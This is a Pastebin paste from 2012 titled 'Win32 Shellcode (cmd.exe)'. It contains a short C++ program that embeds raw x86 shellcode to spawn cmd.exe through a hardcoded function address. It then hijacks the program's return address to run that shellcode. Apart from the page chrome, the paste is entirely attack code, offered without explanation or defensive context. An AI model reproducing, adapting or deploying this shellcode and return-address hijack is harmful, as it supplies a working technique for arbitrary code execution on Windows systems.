emS-St1ks

Win32 Shellcode (cmd.exe)

Jun 15th, 2012
139
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C++ 0.29 KB | None | 0 0
  1. #include <windows.h>
  2. #include <winbase.h>
  3.  
  4.  
  5. unsigned char hellcodenet[]=
  6. "\x8b\xec\x55\x8b\xec"
  7. "\x68\x65\x78\x65\x2F"
  8. "\x68\x63\x6d\x64\x2e"
  9. "\x8d\x45\xf8\x50\xb8"
  10. "\xc7\x93\xc1\x77"
  11. "\xff\xd0"
  12. ;
  13.  
  14. int main ()
  15. {
  16. int *ret;
  17. ret=(int *)&ret+2;
  18. (*ret)=(int)hellcodenet;
  19. return 0;
  20. }
Advertisement
Add Comment
Please, Sign In to add comment